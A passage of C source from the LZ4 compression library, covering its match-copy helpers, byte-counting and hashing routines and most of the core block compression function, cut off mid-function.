static const unsigned inc32table[8] = {0, 1, 2, 1, 0, 4, 4, 4};
static const int dec64table[8] = {0, 0, 0, -1, -4, 1, 2, 3};
#ifndef LZ4_FAST_DEC_LOOP
# if defined __i386__ || defined _M_IX86 || defined __x86_64__ || defined _M_X64
# define LZ4_FAST_DEC_LOOP 1
# elif defined(__aarch64__) && defined(__APPLE__)
# define LZ4_FAST_DEC_LOOP 1
# elif defined(__aarch64__) && !defined(__clang__)
/* On non-Apple aarch64, we disable this optimization for clang because
* on certain mobile chipsets, performance is reduced with clang. For
* more information refer to https://github.com/lz4/lz4/pull/707 */
# define LZ4_FAST_DEC_LOOP 1
# else
# define LZ4_FAST_DEC_LOOP 0
# endif
#endif
#if LZ4_FAST_DEC_LOOP
LZ4_FORCE_INLINE void
LZ4_memcpy_using_offset_base(BYTE* dstPtr, const BYTE* srcPtr, BYTE* dstEnd, const size_t offset)
{
assert(srcPtr + offset == dstPtr);
if (offset < 8) {
LZ4_write32(dstPtr, 0); /* silence an msan warning when offset==0 */
dstPtr[0] = srcPtr[0];
dstPtr[1] = srcPtr[1];
dstPtr[2] = srcPtr[2];
dstPtr[3] = srcPtr[3];
srcPtr += inc32table[offset];
LZ4_memcpy(dstPtr+4, srcPtr, 4);
srcPtr -= dec64table[offset];
dstPtr += 8;
} else {
LZ4_memcpy(dstPtr, srcPtr, 8);
dstPtr += 8;
srcPtr += 8;
}
LZ4_wildCopy8(dstPtr, srcPtr, dstEnd);
}
/* customized variant of memcpy, which can overwrite up to 32 bytes beyond dstEnd
* this version copies two times 16 bytes (instead of one time 32 bytes)
* because it must be compatible with offsets >= 16. */
LZ4_FORCE_INLINE void
LZ4_wildCopy32(void* dstPtr, const void* srcPtr, void* dstEnd)
{
BYTE* d = (BYTE*)dstPtr;
const BYTE* s = (const BYTE*)srcPtr;
BYTE* const e = (BYTE*)dstEnd;
do { LZ4_memcpy(d,s,16); LZ4_memcpy(d+16,s+16,16); d+=32; s+=32; } while (d<e);
}
/* LZ4_memcpy_using_offset() presumes :
* - dstEnd >= dstPtr + MINMATCH
* - there is at least 8 bytes available to write after dstEnd */
LZ4_FORCE_INLINE void
LZ4_memcpy_using_offset(BYTE* dstPtr, const BYTE* srcPtr, BYTE* dstEnd, const size_t offset)
{
BYTE v[8];
assert(dstEnd >= dstPtr + MINMATCH);
switch(offset) {
case 1:
MEM_INIT(v, *srcPtr, 8);
break;
case 2:
LZ4_memcpy(v, srcPtr, 2);
LZ4_memcpy(&v[2], srcPtr, 2);
#if defined(_MSC_VER) && (_MSC_VER <= 1933) /* MSVC 2022 ver 17.3 or earlier */
# pragma warning(push)
# pragma warning(disable : 6385) /* warning C6385: Reading invalid data from 'v'. */
#endif
LZ4_memcpy(&v[4], v, 4);
#if defined(_MSC_VER) && (_MSC_VER <= 1933) /* MSVC 2022 ver 17.3 or earlier */
# pragma warning(pop)
#endif
break;
case 4:
LZ4_memcpy(v, srcPtr, 4);
LZ4_memcpy(&v[4], srcPtr, 4);
break;
default:
LZ4_memcpy_using_offset_base(dstPtr, srcPtr, dstEnd, offset);
return;
}
LZ4_memcpy(dstPtr, v, 8);
dstPtr += 8;
while (dstPtr < dstEnd) {
LZ4_memcpy(dstPtr, v, 8);
dstPtr += 8;
}
}
#endif
/*-************************************
* Common functions
**************************************/
static unsigned LZ4_NbCommonBytes (reg_t val)
{
assert(val != 0);
if (LZ4_isLittleEndian()) {
if (sizeof(val) == 8) {
# if defined(_MSC_VER) && (_MSC_VER >= 1800) && (defined(_M_AMD64) && !defined(_M_ARM64EC)) && !defined(LZ4_FORCE_SW_BITCOUNT)
/*-*************************************************************************************************
* ARM64EC is a Microsoft-designed ARM64 ABI compatible with AMD64 applications on ARM64 Windows 11.
* The ARM64EC ABI does not support AVX/AVX2/AVX512 instructions, nor their relevant intrinsics
* including _tzcnt_u64. Therefore, we need to neuter the _tzcnt_u64 code path for ARM64EC.
****************************************************************************************************/
# if defined(__clang__) && (__clang_major__ < 10)
/* Avoid undefined clang-cl intrinsics issue.
* See https://github.com/lz4/lz4/pull/1017 for details. */
return (unsigned)__builtin_ia32_tzcnt_u64(val) >> 3;
# else
/* x64 CPUS without BMI support interpret `TZCNT` as `REP BSF` */
return (unsigned)_tzcnt_u64(val) >> 3;
# endif
# elif defined(_MSC_VER) && defined(_WIN64) && !defined(LZ4_FORCE_SW_BITCOUNT)
unsigned long r = 0;
_BitScanForward64(&r, (U64)val);
return (unsigned)r >> 3;
# elif (defined(__clang__) || (defined(__GNUC__) && ((__GNUC__ > 3) || \
((__GNUC__ == 3) && (__GNUC_MINOR__ >= 4))))) && \
!defined(LZ4_FORCE_SW_BITCOUNT)
return (unsigned)__builtin_ctzll((U64)val) >> 3;
# else
const U64 m = 0x0101010101010101ULL;
val ^= val - 1;
return (unsigned)(((U64)((val & (m - 1)) * m)) >> 56);
# endif
} else /* 32 bits */ {
# if defined(_MSC_VER) && (_MSC_VER >= 1400) && !defined(LZ4_FORCE_SW_BITCOUNT)
unsigned long r;
_BitScanForward(&r, (U32)val);
return (unsigned)r >> 3;
# elif (defined(__clang__) || (defined(__GNUC__) && ((__GNUC__ > 3) || \
((__GNUC__ == 3) && (__GNUC_MINOR__ >= 4))))) && \
!defined(__TINYC__) && !defined(LZ4_FORCE_SW_BITCOUNT)
return (unsigned)__builtin_ctz((U32)val) >> 3;
# else
const U32 m = 0x01010101;
return (unsigned)((((val - 1) ^ val) & (m - 1)) * m) >> 24;
# endif
}
} else /* Big Endian CPU */ {
if (sizeof(val)==8) {
# if (defined(__clang__) || (defined(__GNUC__) && ((__GNUC__ > 3) || \
((__GNUC__ == 3) && (__GNUC_MINOR__ >= 4))))) && \
!defined(__TINYC__) && !defined(LZ4_FORCE_SW_BITCOUNT)
return (unsigned)__builtin_clzll((U64)val) >> 3;
# else
#if 1
/* this method is probably faster,
* but adds a 128 bytes lookup table */
static const unsigned char ctz7_tab[128] = {
7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
};
U64 const mask = 0x0101010101010101ULL;
U64 const t = (((val >> 8) - mask) | val) & mask;
return ctz7_tab[(t * 0x0080402010080402ULL) >> 57];
#else
/* this method doesn't consume memory space like the previous one,
* but it contains several branches,
* that may end up slowing execution */
static const U32 by32 = sizeof(val)*4; /* 32 on 64 bits (goal), 16 on 32 bits.
Just to avoid some static analyzer complaining about shift by 32 on 32-bits target.
Note that this code path is never triggered in 32-bits mode. */
unsigned r;
if (!(val>>by32)) { r=4; } else { r=0; val>>=by32; }
if (!(val>>16)) { r+=2; val>>=8; } else { val>>=24; }
r += (!val);
return r;
#endif
# endif
} else /* 32 bits */ {
# if (defined(__clang__) || (defined(__GNUC__) && ((__GNUC__ > 3) || \
((__GNUC__ == 3) && (__GNUC_MINOR__ >= 4))))) && \
!defined(LZ4_FORCE_SW_BITCOUNT)
return (unsigned)__builtin_clz((U32)val) >> 3;
# else
val >>= 8;
val = ((((val + 0x00FFFF00) | 0x00FFFFFF) + val) |
(val + 0x00FF0000)) >> 24;
return (unsigned)val ^ 3;
# endif
}
}
}
#define STEPSIZE sizeof(reg_t)
LZ4_FORCE_INLINE unsigned
LZ4_count(const BYTE* pIn, const BYTE* pMatch, const BYTE* pInLimit)
{
const BYTE* const pStart = pIn;
if (likely(pIn < pInLimit-(STEPSIZE-1))) {
reg_t const diff = LZ4_read_ARCH(pMatch) ^ LZ4_read_ARCH(pIn);
if (!diff) {
pIn+=STEPSIZE; pMatch+=STEPSIZE;
} else {
return LZ4_NbCommonBytes(diff);
} }
while (likely(pIn < pInLimit-(STEPSIZE-1))) {
reg_t const diff = LZ4_read_ARCH(pMatch) ^ LZ4_read_ARCH(pIn);
if (!diff) { pIn+=STEPSIZE; pMatch+=STEPSIZE; continue; }
pIn += LZ4_NbCommonBytes(diff);
return (unsigned)(pIn - pStart);
}
if ((STEPSIZE==8) && (pIn<(pInLimit-3)) && (LZ4_read32(pMatch) == LZ4_read32(pIn))) { pIn+=4; pMatch+=4; }
if ((pIn<(pInLimit-1)) && (LZ4_read16(pMatch) == LZ4_read16(pIn))) { pIn+=2; pMatch+=2; }
if ((pIn<pInLimit) && (*pMatch == *pIn)) pIn++;
return (unsigned)(pIn - pStart);
}
#ifndef LZ4_COMMONDEFS_ONLY
/*-************************************
* Local Constants
**************************************/
static const int LZ4_64Klimit = ((64 KB) + (MFLIMIT-1));
static const U32 LZ4_skipTrigger = 6; /* Increase this value ==> compression run slower on incompressible data */
/*-************************************
* Local Structures and types
**************************************/
typedef enum { clearedTable = 0, byPtr, byU32, byU16 } tableType_t;
/**
* This enum distinguishes several different modes of accessing previous
* content in the stream.
*
* - noDict : There is no preceding content.
* - withPrefix64k : Table entries up to ctx->dictSize before the current blob
* blob being compressed are valid and refer to the preceding
* content (of length ctx->dictSize), which is available
* contiguously preceding in memory the content currently
* being compressed.
* - usingExtDict : Like withPrefix64k, but the preceding content is somewhere
* else in memory, starting at ctx->dictionary with length
* ctx->dictSize.
* - usingDictCtx : Everything concerning the preceding content is
* in a separate context, pointed to by ctx->dictCtx.
* ctx->dictionary, ctx->dictSize, and table entries
* in the current context that refer to positions
* preceding the beginning of the current compression are
* ignored. Instead, ctx->dictCtx->dictionary and ctx->dictCtx
* ->dictSize describe the location and size of the preceding
* content, and matches are found by looking in the ctx
* ->dictCtx->hashTable.
*/
typedef enum { noDict = 0, withPrefix64k, usingExtDict, usingDictCtx } dict_directive;
typedef enum { noDictIssue = 0, dictSmall } dictIssue_directive;
/*-************************************
* Local Utils
**************************************/
int LZ4_versionNumber (void) { return LZ4_VERSION_NUMBER; }
const char* LZ4_versionString(void) { return LZ4_VERSION_STRING; }
int LZ4_compressBound(int isize) { return LZ4_COMPRESSBOUND(isize); }
int LZ4_sizeofState(void) { return sizeof(LZ4_stream_t); }
/*-****************************************
* Internal Definitions, used only in Tests
*******************************************/
#if defined (__cplusplus)
extern "C" {
#endif
int LZ4_compress_forceExtDict (LZ4_stream_t* LZ4_dict, const char* source, char* dest, int srcSize);
int LZ4_decompress_safe_forceExtDict(const char* source, char* dest,
int compressedSize, int maxOutputSize,
const void* dictStart, size_t dictSize);
int LZ4_decompress_safe_partial_forceExtDict(const char* source, char* dest,
int compressedSize, int targetOutputSize, int dstCapacity,
const void* dictStart, size_t dictSize);
#if defined (__cplusplus)
}
#endif
/*-******************************
* Compression functions
********************************/
LZ4_FORCE_INLINE U32
LZ4_hash4(U32 sequence, tableType_t const tableType)
{
if (tableType == byU16)
return ((sequence * 2654435761U) >> ((MINMATCH*8)-(LZ4_HASHLOG+1)));
else
return ((sequence * 2654435761U) >> ((MINMATCH*8)-LZ4_HASHLOG));
}
LZ4_FORCE_INLINE U32
LZ4_hash5(U64 sequence, tableType_t const tableType)
{
const U32 hashLog = (tableType == byU16) ? LZ4_HASHLOG+1 : LZ4_HASHLOG;
if (LZ4_isLittleEndian()) {
const U64 prime5bytes = 889523592379ULL;
return (U32)(((sequence << 24) * prime5bytes) >> (64 - hashLog));
} else {
const U64 prime8bytes = 11400714785074694791ULL;
return (U32)(((sequence >> 24) * prime8bytes) >> (64 - hashLog));
}
}
LZ4_FORCE_INLINE U32 LZ4_hashPosition(const void* const p, tableType_t const tableType)
{
if ((sizeof(reg_t)==8) && (tableType != byU16)) return LZ4_hash5(LZ4_read_ARCH(p), tableType);
return LZ4_hash4(LZ4_read32(p), tableType);
}
LZ4_FORCE_INLINE void
LZ4_clearHash(U32 h, void* tableBase, tableType_t const tableType)
{
switch (tableType)
{
default: /* fallthrough */
case clearedTable: { /* illegal! */ assert(0); return; }
case byPtr: { const BYTE** hashTable = (const BYTE**)tableBase; hashTable[h] = NULL; return; }
case byU32: { U32* hashTable = (U32*) tableBase; hashTable[h] = 0; return; }
case byU16: { U16* hashTable = (U16*) tableBase; hashTable[h] = 0; return; }
}
}
LZ4_FORCE_INLINE void
LZ4_putIndexOnHash(U32 idx, U32 h, void* tableBase, tableType_t const tableType)
{
switch (tableType)
{
default: /* fallthrough */
case clearedTable: /* fallthrough */
case byPtr: { /* illegal! */ assert(0); return; }
case byU32: { U32* hashTable = (U32*) tableBase; hashTable[h] = idx; return; }
case byU16: { U16* hashTable = (U16*) tableBase; assert(idx < 65536); hashTable[h] = (U16)idx; return; }
}
}
/* LZ4_putPosition*() : only used in byPtr mode */
LZ4_FORCE_INLINE void
LZ4_putPositionOnHash(const BYTE* p, U32 h,
void* tableBase, tableType_t const tableType)
{
const BYTE** const hashTable = (const BYTE**)tableBase;
assert(tableType == byPtr); (void)tableType;
hashTable[h] = p;
}
LZ4_FORCE_INLINE void
LZ4_putPosition(const BYTE* p, void* tableBase, tableType_t tableType)
{
U32 const h = LZ4_hashPosition(p, tableType);
LZ4_putPositionOnHash(p, h, tableBase, tableType);
}
/* LZ4_getIndexOnHash() :
* Index of match position registered in hash table.
* hash position must be calculated by using base+index, or dictBase+index.
* Assumption 1 : only valid if tableType == byU32 or byU16.
* Assumption 2 : h is presumed valid (within limits of hash table)
*/
LZ4_FORCE_INLINE U32
LZ4_getIndexOnHash(U32 h, const void* tableBase, tableType_t tableType)
{
LZ4_STATIC_ASSERT(LZ4_MEMORY_USAGE > 2);
if (tableType == byU32) {
const U32* const hashTable = (const U32*) tableBase;
assert(h < (1U << (LZ4_MEMORY_USAGE-2)));
return hashTable[h];
}
if (tableType == byU16) {
const U16* const hashTable = (const U16*) tableBase;
assert(h < (1U << (LZ4_MEMORY_USAGE-1)));
return hashTable[h];
}
assert(0); return 0; /* forbidden case */
}
static const BYTE* LZ4_getPositionOnHash(U32 h, const void* tableBase, tableType_t tableType)
{
assert(tableType == byPtr); (void)tableType;
{ const BYTE* const* hashTable = (const BYTE* const*) tableBase; return hashTable[h]; }
}
LZ4_FORCE_INLINE const BYTE*
LZ4_getPosition(const BYTE* p,
const void* tableBase, tableType_t tableType)
{
U32 const h = LZ4_hashPosition(p, tableType);
return LZ4_getPositionOnHash(h, tableBase, tableType);
}
LZ4_FORCE_INLINE void
LZ4_prepareTable(LZ4_stream_t_internal* const cctx,
const int inputSize,
const tableType_t tableType) {
/* If the table hasn't been used, it's guaranteed to be zeroed out, and is
* therefore safe to use no matter what mode we're in. Otherwise, we figure
* out if it's safe to leave as is or whether it needs to be reset.
*/
if ((tableType_t)cctx->tableType != clearedTable) {
assert(inputSize >= 0);
if ((tableType_t)cctx->tableType != tableType
|| ((tableType == byU16) && cctx->currentOffset + (unsigned)inputSize >= 0xFFFFU)
|| ((tableType == byU32) && cctx->currentOffset > 1 GB)
|| tableType == byPtr
|| inputSize >= 4 KB)
{
DEBUGLOG(4, "LZ4_prepareTable: Resetting table in %p", cctx);
MEM_INIT(cctx->hashTable, 0, LZ4_HASHTABLESIZE);
cctx->currentOffset = 0;
cctx->tableType = (U32)clearedTable;
} else {
DEBUGLOG(4, "LZ4_prepareTable: Re-use hash table (no reset)");
}
}
/* Adding a gap, so all previous entries are > LZ4_DISTANCE_MAX back,
* is faster than compressing without a gap.
* However, compressing with currentOffset == 0 is faster still,
* so we preserve that case.
*/
if (cctx->currentOffset != 0 && tableType == byU32) {
DEBUGLOG(5, "LZ4_prepareTable: adding 64KB to currentOffset");
cctx->currentOffset += 64 KB;
}
/* Finally, clear history */
cctx->dictCtx = NULL;
cctx->dictionary = NULL;
cctx->dictSize = 0;
}
/** LZ4_compress_generic() :
* inlined, to ensure branches are decided at compilation time.
* The following conditions are presumed already validated:
* - source != NULL
* - inputSize > 0
*/
LZ4_FORCE_INLINE int
LZ4_compress_generic_validated(
LZ4_stream_t_internal* const cctx,
const char* const source,
char* const dest,
const int inputSize,
int* inputConsumed, /* only written when outputDirective == fillOutput */
const int maxOutputSize,
const limitedOutput_directive outputDirective,
const tableType_t tableType,
const dict_directive dictDirective,
const dictIssue_directive dictIssue,
const int acceleration)
{
int result;
const BYTE* ip = (const BYTE*)source;
U32 const startIndex = cctx->currentOffset;
const BYTE* base = (const BYTE*)source - startIndex;
const BYTE* lowLimit;
const LZ4_stream_t_internal* dictCtx = (const LZ4_stream_t_internal*) cctx->dictCtx;
const BYTE* const dictionary =
dictDirective == usingDictCtx ? dictCtx->dictionary : cctx->dictionary;
const U32 dictSize =
dictDirective == usingDictCtx ? dictCtx->dictSize : cctx->dictSize;
const U32 dictDelta =
(dictDirective == usingDictCtx) ? startIndex - dictCtx->currentOffset : 0; /* make indexes in dictCtx comparable with indexes in current context */
int const maybe_extMem = (dictDirective == usingExtDict) || (dictDirective == usingDictCtx);
U32 const prefixIdxLimit = startIndex - dictSize; /* used when dictDirective == dictSmall */
const BYTE* const dictEnd = dictionary ? dictionary + dictSize : dictionary;
const BYTE* anchor = (const BYTE*) source;
const BYTE* const iend = ip + inputSize;
const BYTE* const mflimitPlusOne = iend - MFLIMIT + 1;
const BYTE* const matchlimit = iend - LASTLITERALS;
/* the dictCtx currentOffset is indexed on the start of the dictionary,
* while a dictionary in the current context precedes the currentOffset */
const BYTE* dictBase = (dictionary == NULL) ? NULL :
(dictDirective == usingDictCtx) ?
dictionary + dictSize - dictCtx->currentOffset :
dictionary + dictSize - startIndex;
BYTE* op = (BYTE*) dest;
BYTE* const olimit = op + maxOutputSize;
U32 offset = 0;
U32 forwardH;
DEBUGLOG(5, "LZ4_compress_generic_validated: srcSize=%i, tableType=%u", inputSize, tableType);
assert(ip != NULL);
if (tableType == byU16) assert(inputSize<LZ4_64Klimit); /* Size too large (not within 64K limit) */
if (tableType == byPtr) assert(dictDirective==noDict); /* only supported use case with byPtr */
/* If init conditions are not met, we don't have to mark stream
* as having dirty context, since no action was taken yet */
if (outputDirective == fillOutput && maxOutputSize < 1) { return 0; } /* Impossible to store anything */
assert(acceleration >= 1);
lowLimit = (const BYTE*)source - (dictDirective == withPrefix64k ? dictSize : 0);
/* Update context state */
if (dictDirective == usingDictCtx) {
/* Subsequent linked blocks can't use the dictionary. */
/* Instead, they use the block we just compressed. */
cctx->dictCtx = NULL;
cctx->dictSize = (U32)inputSize;
} else {
cctx->dictSize += (U32)inputSize;
}
cctx->currentOffset += (U32)inputSize;
cctx->tableType = (U32)tableType;
if (inputSize<LZ4_minLength) goto _last_literals; /* Input too small, no compression (all literals) */
/* First Byte */
{ U32 const h = LZ4_hashPosition(ip, tableType);
if (tableType == byPtr) {
LZ4_putPositionOnHash(ip, h, cctx->hashTable, byPtr);
} else {
LZ4_putIndexOnHash(startIndex, h, cctx->hashTable, tableType);
} }
ip++; forwardH = LZ4_hashPosition(ip, tableType);
/* Main Loop */
for ( ; ; ) {
const BYTE* match;
BYTE* token;
const BYTE* filledIp;
/* Find a match */
if (tableType == byPtr) {
const BYTE* forwardIp = ip;
int step = 1;
int searchMatchNb = acceleration << LZ4_skipTrigger;
do {
U32 const h = forwardH;
ip = forwardIp;
forwardIp += step;
step = (searchMatchNb++ >> LZ4_skipTrigger);
if (unlikely(forwardIp > mflimitPlusOne)) goto _last_literals;
assert(ip < mflimitPlusOne);
match = LZ4_getPositionOnHash(h, cctx->hashTable, tableType);
forwardH = LZ4_hashPosition(forwardIp, tableType);
LZ4_putPositionOnHash(ip, h, cctx->hashTable, tableType);
} while ( (match+LZ4_DISTANCE_MAX < ip)
|| (LZ4_read32(match) != LZ4_read32(ip)) );
} else { /* byU32, byU16 */
const BYTE* forwardIp = ip;
int step = 1;
int searchMatchNb = acceleration << LZ4_skipTrigger;
do {
U32 const h = forwardH;
U32 const current = (U32)(forwardIp - base);
U32 matchIndex = LZ4_getIndexOnHash(h, cctx->hashTable, tableType);
assert(matchIndex <= current);
assert(forwardIp - base < (ptrdiff_t)(2 GB - 1));
ip = forwardIp;
forwardIp += step;
step = (searchMatchNb++ >> LZ4_skipTrigger);
if (unlikely(forwardIp > mflimitPlusOne)) goto _last_literals;
assert(ip < mflimitPlusOne);
if (dictDirective == usingDictCtx) {
if (matchIndex < startIndex) {
/* there was no match, try the dictionary */
assert(tableType == byU32);
matchIndex = LZ4_getIndexOnHash(h, dictCtx->hashTable, byU32);
match = dictBase + matchIndex;
matchIndex += dictDelta; /* make dictCtx index comparable with current context */
lowLimit = dictionary;
} else {
match = base + matchIndex;
lowLimit = (const BYTE*)source;
}
} else if (dictDirective == usingExtDict) {
if (matchIndex < startIndex) {
DEBUGLOG(7, "extDict candidate: matchIndex=%5u < startIndex=%5u", matchIndex, startIndex);
assert(startIndex - matchIndex >= MINMATCH);
assert(dictBase);
match = dictBase + matchIndex;
lowLimit = dictionary;
} else {
match = base + matchIndex;
lowLimit = (const BYTE*)source;
}
} else { /* single continuous memory segment */
match = base + matchIndex;
}
forwardH = LZ4_hashPosition(forwardIp, tableType);
LZ4_putIndexOnHash(current, h, cctx->hashTable, tableType);
DEBUGLOG(7, "candidate at pos=%u (offset=%u \n", matchIndex, current - matchIndex);
if ((dictIssue == dictSmall) && (matchIndex < prefixIdxLimit)) { continue; } /* match outside of valid area */
assert(matchIndex < current);
if ( ((tableType != byU16) || (LZ4_DISTANCE_MAX < LZ4_DISTANCE_ABSOLUTE_MAX))
&& (matchIndex+LZ4_DISTANCE_MAX < current)) {
continue;
} /* too far */
assert((current - matchIndex) <= LZ4_DISTANCE_MAX); /* match now expected within distance */
if (LZ4_read32(match) == LZ4_read32(ip)) {
if (maybe_extMem) offset = current - matchIndex;
break; /* match found */
}
} while(1);
}
/* Catch up */
filledIp = ip;
while (((ip>anchor) & (match > lowLimit)) && (unlikely(ip[-1]==match[-1]))) { ip--; match--; }
/* Encode Literals */
{ unsigned const litLength = (unsigned)(ip - anchor);
token = op++;
if ((outputDirective == limitedOutput) && /* Check output buffer overflow */
(unlikely(op + litLength + (2 + 1 + LASTLITERALS) + (litLength/255) > olimit)) ) {
return 0; /* cannot compress within `dst` budget. Stored indexes in hash table are nonetheless fine */
}
if ((outputDirective == fillOutput) &&
(unlikely(op + (litLength+240)/255 /* litlen */ + litLength /* literals */ + 2 /* offset */ + 1 /* token */ + MFLIMIT - MINMATCH /* min last literals so last match is <= end - MFLIMIT */ > olimit))) {
op--;
goto _last_literals;
}
if (litLength >= RUN_MASK) {
int len = (int)(litLength - RUN_MASK);
*token = (RUN_MASK<<ML_BITS);
for(; len >= 255 ; len-=255) *op++ = 255;
*op++ = (BYTE)len;
}
else *token = (BYTE)(litLength<<ML_BITS);
/* Copy Literals */
LZ4_wildCopy8(op, anchor, op+litLength);
op+=litLength;
DEBUGLOG(6, "seq.start:%i, literals=%u, match.start:%i",
(int)(anchor-(const BYTE*)source), litLength, (int)(ip-(const BYTE*)source));
}
_next_match:
/* at this stage, the following variables must be correctly set :
* - ip : at start of LZ operation
* - match : at start of previous pattern occurrence; can be within current prefix, or within extDict
* - offset : if maybe_ext_memSegment==1 (constant)
* - lowLimit : must be == dictionary to mean "match is within extDict"; must be == source otherwise
* - token and *token : position to write 4-bits for match length; higher 4-bits for literal length supposed already written
*/
if ((outputDirective == fillOutput) &&
(op + 2 /* offset */ + 1 /* token */ + MFLIMIT - MINMATCH /* min last literals so last match is <= end - MFLIMIT */ > olimit)) {
/* the match was too close to the end, rewind and go to last literals */
op = token;
goto _last_literals;
}
/* Encode Offset */
if (maybe_extMem) { /* static test */
DEBUGLOG(6, " with offset=%u (ext if > %i)", offset, (int)(ip - (const BYTE*)source));
assert(offset <= LZ4_DISTANCE_MAX && offset > 0);
LZ4_writeLE16(op, (U16)offset); op+=2;
} else {
DEBUGLOG(6, " with offset=%u (same segment)", (U32)(ip - match));
assert(ip-match <= LZ4_DISTANCE_MAX);
LZ4_writeLE16(op, (U16)(ip - match)); op+=2;
}
/* Encode MatchLength */
{ unsigned matchCode;
if ( (dictDirective==usingExtDict || dictDirective==usingDictCtx)
&& (lowLimit==dictionary) /* match within extDict */ ) {
const BYTE* limit = ip + (dictEnd-match);
assert(dictEnd > match);
if (limit > matchlimit) limit = matchlimit;
matchCode = LZ4_count(ip+MINMATCH, match+MINMATCH, limit);
ip += (size_t)matchCode + MINMATCH;
if (ip==limit) {
unsigned const more = LZ4_count(limit, (const BYTE*)source, matchlimit);
matchCode += more;
ip += more;
}
DEBUGLOG(6, " with matchLength=%u starting in extDict", matchCode+MINMATCH);
} else {
matchCode = LZ4_count(ip+MINMATCH, match+MINMATCH, matchlimit);
ip += (size_t)matchCode + MINMATCH;
DEBUGLOG(6, " with matchLength=%u", matchCode+MINMATCH);
}
if ((outputDirective) && /* Check output buffer overflow */
(unlikely(op + (1 + LASTLITERALS) + (matchCode+240)/255 > olimit)) ) {
if (outputDirective == fillOutput) {
/* Match description too long : reduce it */
U32 newMatchCode = 15 /* in token */ - 1 /* to avoid needing a zero byte */ + ((U32)(olimit - op) - 1 - LASTLITERALS) * 255;
ip -= matchCode - newMatchCode;
assert(newMatchCode < matchCode);
matchCode = newMatchCode;
if (unlikely(ip <= filledIp)) {
/* We have already filled up to filledIp so if ip ends up less than filledIp
* we have positions in the hash table beyond the current position. This is
* a problem if we reuse the hash table. So we have to remove these positions
* from the hash table.
*/
const BYTE* ptr;
DEBUGLOG(5, "Clearing %u positions", (U32)(filledIp - ip));
for (ptr = ip; ptr <= filledIp; ++ptr) {
U32 const h = LZ4_hashPosition(ptr, tableType);
LZ4_clearHash(h, cctx->hashTable, tableType);
}
}
} else {
assert(outputDirective == limitedOutput);
return 0; /* cannot compress within `dst` budget. Stored indexes in hash table are nonetheless fine */
}
}
if (matchCode >= ML_MASK) {
*token += ML_MASK;
matchCode -= ML_MASK;
LZ4_write32(op, 0xFFFFFFFF);
while (matchCode >= 4*255) {
op+=4;
LZ4_write32(op, 0xFFFFFFFF);
matchCode -= 4*255;
}
op += matchCode / 255;
*op++ = (BYTE)(matchCode % 255);
} else
*token += (BYTE)(matchCode);
}
/* Ensure we have enough space for the last literals. */
assert(!(outputDirective == fillOutput && op + 1 + LASTLITERALS > olimit));
anchor = ip;
/* Test end of chunk */
if (ip >= mflimitPlusOne) break;
/* Fill table */
{ U32 const h = LZ4_hashPosition(ip-2, tableType);
if (tableType == byPtr) {
LZ4_putPositionOnHash(ip-2, h, cctx->hashTable, byPtr);
} else {
U32 const idx = (U32)((ip-2) - base);
LZ4_putIndexOnHash(idx, h, cctx->hashTable, tableType);
} }
/* Test next position */
if (tableType == byPtr) {
match = LZ4_getPosition(ip, cctx->hashTable, tableType);
LZ4_putPosition(ip, cctx->hashTable, tableType);
if ( (match+LZ4_DISTANCE_MAX >= ip)
&& (LZ4_read32(match) == LZ4_read32(ip)) )
{ token=op++; *token=0; goto _next_match; }
} else { /* byU32, byU16 */
U32 const h = LZ4_hashPosition(ip, tableType);
U32 const current = (U32)(ip-base);
U32 matchIndex = LZ4_getIndexOnHash(h, cctx->hashTable, tableType);
assert(matchIndex < current);
if (dictDirective == usingDictCtx) {
if (matchIndex < startIndex) {
/* there was no match, try the dictionary */
assert(tableType == byU32);
matchIndex = LZ4_getIndexOnHash(h, dictCtx->hashTable, byU32);
match = dictBase + matchIndex;
lowLimit = dictionary; /* required for match length counter */
matchIndex += dictDelta;
} else {
match = base + matchIndex;
lowLimit = (const BYTE*)source; /* required for match length counter */
}
} else if (dictDirective==usingExtDict) {
if (matchIndex < startIndex) {
assert(dictBase);
match = dictBase + matchIndex;
lowLimit = dictionary; /* required for match length counter */
} else {
match = base + matchIndex;
lowLimit = (const BYTE*)source; /* required for match length counter */
}
} else { /* single memory segment */
match = base + matchIndex;
}
LZ4_putIndexOnHash(current, h, cctx->hashTable, tableType);
assert(matchIndex < current);
if ( ((dictIssue==dictSmall) ? (matchIndex >= prefixIdxLimit) : 1)
&& (((tableType==byU16) && (LZ4_DISTANCE_MAX == LZ4_DISTANCE_ABSOLUTE_MAX)) ? 1 : (matchIndex+LZ4_DISTANCE_MAX >= current))
&& (LZ4_read32(match) == LZ4_read32(ip)) ) {
token=op++;
*token=0;
if (maybe_extMem) offset = current - matchIndex;
DEBUGLOG(6, "seq.start:%i, literals=%u, match.start:%i",
(int)(anchor-(const BYTE*)source), 0, (int)(ip-(const BYTE*)source));
goto _next_match;
}
}
/* Prepare next loop */
forwardH = LZ4_hashPosition(++ip, tableType);
}
_last_literals:
/* Encode Last Literals */
{ size_t lastRun = (size_t)(iend - anchor);
if ( (outputDirective) && /* Check output buffer overflow */
(op + lastRun + 1 + ((lastRun+255-RUN_MASK)/255) > olimit)) {
if (outputDirective == fillOutput) {
/* adapt lastRun to fill 'dst' */
assert(olimit >= op);
lastRun = (size_t)(olimit-op) - 1/*token*/;
lastRun -= (lastRun + 256 - RUN_MASK) / 256; /*additional length tokens*/
} else {
assert(outputDirective == limitedOutput);
return 0; /* cannot compress within `dst` budget. Stored indexes in hash table are nonetheless fine */
}
}
DEBUGLOG(6, "Final literal run : %i literals", (int)lastRun);
if (lastRun >= RUN_MASK) {
size_t accumulator = lastRun - RUN_MASK;
*op++ = RUN_MASK << ML_BITS;
for(; accumulator >= 255 ; accumulator-=255) *op++ = 255;
*op++ = (BYTE) accumulator;
} else {
*op++ = (BYTE)(lastRun<<ML_BITS);
}
LZ4_memcpy(op, anchor, lastRun);
ip = anchor + lastRun;
op += lastRun;
}
if (outputDirective == fillOutput) {
